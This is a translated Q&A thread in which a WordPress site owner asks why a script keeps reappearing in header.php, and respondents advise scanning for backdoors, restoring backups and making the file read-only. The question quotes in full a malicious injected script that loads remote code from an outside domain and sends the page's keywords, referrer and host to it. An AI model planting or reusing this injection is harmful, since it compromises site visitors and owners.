header.php中脚本的来源

Question

我的网站是wordpress网站。 以下代码每隔几个小时出现在Header.php中，当我删除它时，它会在几个小时后再次出现。 请注意，代码“ shiro-maga.com”中的链接每次都会更改。 代码如下：

 <script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://shiro-maga.com/js/jquery.min.php?c_utt=G91825&c_utm='+encodeURIComponent('http://shiro-maga.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script> 

我相信该主题已被感染“扫描显示没有恶意软件”，因此它生成了此脚本。 您能否建议如何找到此脚本的来源？

谢谢

Answer 1

绝对是恶意的。 您的网站已被盗用。 您可以使用下面的详细文章来查找和删除感染源。 http://ottopress.com/2009/hacked-wordpress-backdoors/ 。 像Windows Grep这样的程序将帮助您快速扫描所有主题文件中的关键字，例如eval和base64。 从主题中删除所有可疑的代码ing，然后更新WordPress核心文件，以确保您运行的是干净版本。 另外，如果您有备份，请还原主题的备份，并使用全新的WP更新版本来更新您的网站。

Answer 2

防止重新感染的快速解决方案是将CHMOD header.php设置为444 （只读）。 该站点可以正常工作，不会被重新感染，从而使您有时间发现感染。